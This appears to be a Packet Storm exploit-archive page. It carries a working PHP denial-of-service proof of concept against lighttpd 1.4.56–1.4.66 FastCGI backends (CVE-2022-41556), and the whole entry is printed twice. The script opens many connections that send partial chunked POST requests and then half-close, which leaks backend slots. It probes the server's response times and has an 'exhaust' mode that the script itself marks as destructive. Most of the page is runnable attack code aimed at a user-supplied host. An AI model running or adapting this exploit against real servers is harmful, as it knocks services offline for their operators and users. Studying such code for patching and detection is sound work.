7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Proof of concept exploit for a resource exhaustion vulnerability that exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends. When processing HTTP/1.1 requests using chunked transfer encoding with request-body...
Basic Information
ID
PACKETSTORM:214430
Published
Jan 27, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Lighttpd 1.4.66 FastCGI Backend Resource Leak via Chunked Request Handling |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.lighttpd.net/ |
=============================================================================================================================================
[+] References: https://packetstorm.news/files/id/214292/ & CVE-2022-41556
[+] Summary: A resource exhaustion vulnerability exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends.
When processing HTTP/1.1 requests using chunked transfer encoding with request-body streaming enabled,
an anomalous client disconnect (half‑closed TCP connection) before the terminating chunk can cause backend slots to be leaked.
Repeated occurrences may exhaust available backend resources, leading to service degradation or denial of service. The issue is resolved in lighttpd 1.4.67 and later.
[+] POC : php poc.php
<?php
class FastCGILeakTester {
private $host;
private $port;
private $fcgiPath;
private $connections;
private $delay;
private $detectOnly;
private $running = true;
private $sockets = [];
public function __construct($host, $port, $fcgiPath, $connections, $delay, $detectOnly) {
$this->host = $host;
$this->port = $port;
$this->fcgiPath = $fcgiPath;
$this->connections = $connections;
$this->delay = $delay;
$this->detectOnly = $detectOnly;
}
private function makeSocket() {
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
throw new Exception("Cannot create socket: " . socket_strerror(socket_last_error()));
}
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 5, 'usec' => 0));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => 5, 'usec' => 0));
if (!socket_connect($socket, $this->host, $this->port)) {
throw new Exception("Cannot connect to {$this->host}:{$this->port}: " . socket_strerror(socket_last_error($socket)));
}
return $socket;
}
private function chunkyFunk($connectionId) {
try {
$socket = $this->makeSocket();
$request = "POST {$this->fcgiPath} HTTP/1.1\r\n" .
"Host: {$this->host}\r\n" .
"Transfer-Encoding: chunked\r\n" .
"Connection: keep-alive\r\n" .
"\r\n";
socket_write($socket, $request);
socket_write($socket, "4\r\ntest\r\n");
socket_shutdown($socket, 1); // 1 = shutdown write
$this->sockets[] = $socket;
echo "[+] [{$connectionId}] anomalous FastCGI request sent\n";
} catch (Exception $e) {
echo "[-] [{$connectionId}] failed: " . $e->getMessage() . "\n";
}
}
public function run() {
echo "[*] Target: http://{$this->host}:{$this->port}{$this->fcgiPath}\n";
echo "[*] Mode: " . ($this->detectOnly ? 'DETECT' : 'EXHAUST') . "\n";
for ($i = 0; $i < $this->connections; $i++) {
if (!$this->running) {
break;
}
$this->chunkyFunk($i);
if ($this->delay > 0) {
usleep($this->delay * 1000000);
}
}
echo "[*] Injection phase complete\n";
}
public function frontendProbe() {
echo "[*] Starting frontend probe\n";
while ($this->running) {
try {
$start = microtime(true);
$socket = $this->makeSocket();
socket_write($socket, "GET / HTTP/1.0\r\n\r\n");
$response = '';
socket_recv($socket, $response, 64, 0);
$elapsed = microtime(true) - $start;
socket_close($socket);
echo "[PROBE] frontend response time: " . number_format($elapsed, 3) . "s\n";
} catch (Exception $e) {
echo "[PROBE] frontend failure: " . $e->getMessage() . "\n";
}
sleep(3);
}
}
public function cleanup() {
$this->running = false;
foreach ($this->sockets as $socket) {
try {
socket_close($socket);
} catch (Exception $e) {
}
}
echo "[*] Cleanup complete\n";
}
}
function checkLighty($host, $port) {
try {
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
throw new Exception("Socket creation failed");
}
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 3, 'usec' => 0));
if (!socket_connect($socket, $host, $port)) {
throw new Exception("Connection failed");
}
socket_write($socket, "HEAD / HTTP/1.0\r\n\r\n");
$response = '';
while ($chunk = socket_read($socket, 512)) {
$response .= $chunk;
}
socket_close($socket);
$lines = explode("\n", $response);
foreach ($lines as $line) {
if (stripos($line, 'Server:') !== false && stripos($line, 'lighttpd') !== false) {
echo "[+] Detected " . trim($line) . "\n";
return true;
}
}
echo "[-] lighttpd not detected\n";
return false;
} catch (Exception $e) {
echo "[-] connection failed: " . $e->getMessage() . "\n";
return false;
}
}
function main() {
global $banner;
$options = getopt("", [
"host:",
"port:",
"fcgi-path:",
"n:",
"conns:",
"delay:",
"exhaust"
]);
$host = isset($options['host']) ? $options['host'] : null;
if (!$host && isset($argv[1]) && !strpos($argv[1], '--')) {
$host = $argv[1];
}
if (!$host) {
echo "Usage: php " . basename(__FILE__) . " [options] <host>\n";
echo "Options:\n";
echo " --host <host> Target host\n";
echo " --port <port> Target port (default: 80)\n";
echo " --fcgi-path <path> FastCGI-backed path (default: /index.php)\n";
echo " -n, --conns <num> Number of connections (default: 5)\n";
echo " --delay <seconds> Delay between connections (default: 0.2)\n";
echo " --exhaust Exhaust backend slots (DESTRUCTIVE)\n";
exit(1);
}
$port = isset($options['port']) ? (int)$options['port'] : 80;
$fcgiPath = isset($options['fcgi-path']) ? $options['fcgi-path'] : '/index.php';
$connections = isset($options['n']) ? (int)$options['n'] :
(isset($options['conns']) ? (int)$options['conns'] : 5);
$delay = isset($options['delay']) ? (float)$options['delay'] : 0.2;
$exhaust = isset($options['exhaust']);
echo $banner . "\n";
if (!checkLighty($host, $port)) {
exit(1);
}
$tester = new FastCGILeakTester(
$host,
$port,
$fcgiPath,
$connections,
$delay,
!$exhaust
);
declare(ticks = 1);
pcntl_signal(SIGINT, function() use (&$tester) {
echo "\n[*] Interrupted by user\n";
$tester->cleanup();
exit(0);
});
try {
$tester->run();
echo "[*] Starting frontend probe\n";
$probeCount = 0;
while ($probeCount < 10) {
try {
$start = microtime(true);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 5, 'usec' => 0));
if (socket_connect($socket, $host, $port)) {
socket_write($socket, "GET / HTTP/1.0\r\n\r\n");
$response = '';
socket_recv($socket, $response, 64, 0);
$elapsed = microtime(true) - $start;
echo "[PROBE] frontend response time: " . number_format($elapsed, 3) . "s\n";
socket_close($socket);
}
} catch (Exception $e) {
echo "[PROBE] frontend failure: " . $e->getMessage() . "\n";
}
sleep(3);
$probeCount++;
}
} catch (Exception $e) {
echo "[-] Error during test: " . $e->getMessage() . "\n";
} finally {
$tester->cleanup();
}
echo "[*] Test complete\n";
}
if (php_sapi_name() === 'cli') {
main();
} else {
echo "This script must be run from the command line.\n";
exit(1);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Lighttpd 1.4.66 FastCGI Backend Resource Leak via Chunked Request Handling |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.lighttpd.net/ |
=============================================================================================================================================
[+] References: https://packetstorm.news/files/id/214292/ & CVE-2022-41556
[+] Summary: A resource exhaustion vulnerability exists in lighttpd versions 1.4.56 through 1.4.66 affecting FastCGI and other gateway backends.
When processing HTTP/1.1 requests using chunked transfer encoding with request-body streaming enabled,
an anomalous client disconnect (half‑closed TCP connection) before the terminating chunk can cause backend slots to be leaked.
Repeated occurrences may exhaust available backend resources, leading to service degradation or denial of service. The issue is resolved in lighttpd 1.4.67 and later.
[+] POC : php poc.php
<?php
class FastCGILeakTester {
private $host;
private $port;
private $fcgiPath;
private $connections;
private $delay;
private $detectOnly;
private $running = true;
private $sockets = [];
public function __construct($host, $port, $fcgiPath, $connections, $delay, $detectOnly) {
$this->host = $host;
$this->port = $port;
$this->fcgiPath = $fcgiPath;
$this->connections = $connections;
$this->delay = $delay;
$this->detectOnly = $detectOnly;
}
private function makeSocket() {
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
throw new Exception("Cannot create socket: " . socket_strerror(socket_last_error()));
}
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 5, 'usec' => 0));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => 5, 'usec' => 0));
if (!socket_connect($socket, $this->host, $this->port)) {
throw new Exception("Cannot connect to {$this->host}:{$this->port}: " . socket_strerror(socket_last_error($socket)));
}
return $socket;
}
private function chunkyFunk($connectionId) {
try {
$socket = $this->makeSocket();
$request = "POST {$this->fcgiPath} HTTP/1.1\r\n" .
"Host: {$this->host}\r\n" .
"Transfer-Encoding: chunked\r\n" .
"Connection: keep-alive\r\n" .
"\r\n";
socket_write($socket, $request);
socket_write($socket, "4\r\ntest\r\n");
socket_shutdown($socket, 1); // 1 = shutdown write
$this->sockets[] = $socket;
echo "[+] [{$connectionId}] anomalous FastCGI request sent\n";
} catch (Exception $e) {
echo "[-] [{$connectionId}] failed: " . $e->getMessage() . "\n";
}
}
public function run() {
echo "[*] Target: http://{$this->host}:{$this->port}{$this->fcgiPath}\n";
echo "[*] Mode: " . ($this->detectOnly ? 'DETECT' : 'EXHAUST') . "\n";
for ($i = 0; $i < $this->connections; $i++) {
if (!$this->running) {
break;
}
$this->chunkyFunk($i);
if ($this->delay > 0) {
usleep($this->delay * 1000000);
}
}
echo "[*] Injection phase complete\n";
}
public function frontendProbe() {
echo "[*] Starting frontend probe\n";
while ($this->running) {
try {
$start = microtime(true);
$socket = $this->makeSocket();
socket_write($socket, "GET / HTTP/1.0\r\n\r\n");
$response = '';
socket_recv($socket, $response, 64, 0);
$elapsed = microtime(true) - $start;
socket_close($socket);
echo "[PROBE] frontend response time: " . number_format($elapsed, 3) . "s\n";
} catch (Exception $e) {
echo "[PROBE] frontend failure: " . $e->getMessage() . "\n";
}
sleep(3);
}
}
public function cleanup() {
$this->running = false;
foreach ($this->sockets as $socket) {
try {
socket_close($socket);
} catch (Exception $e) {
}
}
echo "[*] Cleanup complete\n";
}
}
function checkLighty($host, $port) {
try {
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
throw new Exception("Socket creation failed");
}
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 3, 'usec' => 0));
if (!socket_connect($socket, $host, $port)) {
throw new Exception("Connection failed");
}
socket_write($socket, "HEAD / HTTP/1.0\r\n\r\n");
$response = '';
while ($chunk = socket_read($socket, 512)) {
$response .= $chunk;
}
socket_close($socket);
$lines = explode("\n", $response);
foreach ($lines as $line) {
if (stripos($line, 'Server:') !== false && stripos($line, 'lighttpd') !== false) {
echo "[+] Detected " . trim($line) . "\n";
return true;
}
}
echo "[-] lighttpd not detected\n";
return false;
} catch (Exception $e) {
echo "[-] connection failed: " . $e->getMessage() . "\n";
return false;
}
}
function main() {
global $banner;
$options = getopt("", [
"host:",
"port:",
"fcgi-path:",
"n:",
"conns:",
"delay:",
"exhaust"
]);
$host = isset($options['host']) ? $options['host'] : null;
if (!$host && isset($argv[1]) && !strpos($argv[1], '--')) {
$host = $argv[1];
}
if (!$host) {
echo "Usage: php " . basename(__FILE__) . " [options] <host>\n";
echo "Options:\n";
echo " --host <host> Target host\n";
echo " --port <port> Target port (default: 80)\n";
echo " --fcgi-path <path> FastCGI-backed path (default: /index.php)\n";
echo " -n, --conns <num> Number of connections (default: 5)\n";
echo " --delay <seconds> Delay between connections (default: 0.2)\n";
echo " --exhaust Exhaust backend slots (DESTRUCTIVE)\n";
exit(1);
}
$port = isset($options['port']) ? (int)$options['port'] : 80;
$fcgiPath = isset($options['fcgi-path']) ? $options['fcgi-path'] : '/index.php';
$connections = isset($options['n']) ? (int)$options['n'] :
(isset($options['conns']) ? (int)$options['conns'] : 5);
$delay = isset($options['delay']) ? (float)$options['delay'] : 0.2;
$exhaust = isset($options['exhaust']);
echo $banner . "\n";
if (!checkLighty($host, $port)) {
exit(1);
}
$tester = new FastCGILeakTester(
$host,
$port,
$fcgiPath,
$connections,
$delay,
!$exhaust
);
declare(ticks = 1);
pcntl_signal(SIGINT, function() use (&$tester) {
echo "\n[*] Interrupted by user\n";
$tester->cleanup();
exit(0);
});
try {
$tester->run();
echo "[*] Starting frontend probe\n";
$probeCount = 0;
while ($probeCount < 10) {
try {
$start = microtime(true);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 5, 'usec' => 0));
if (socket_connect($socket, $host, $port)) {
socket_write($socket, "GET / HTTP/1.0\r\n\r\n");
$response = '';
socket_recv($socket, $response, 64, 0);
$elapsed = microtime(true) - $start;
echo "[PROBE] frontend response time: " . number_format($elapsed, 3) . "s\n";
socket_close($socket);
}
} catch (Exception $e) {
echo "[PROBE] frontend failure: " . $e->getMessage() . "\n";
}
sleep(3);
$probeCount++;
}
} catch (Exception $e) {
echo "[-] Error during test: " . $e->getMessage() . "\n";
} finally {
$tester->cleanup();
}
echo "[*] Test complete\n";
}
if (php_sapi_name() === 'cli') {
main();
} else {
echo "This script must be run from the command line.\n";
exit(1);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================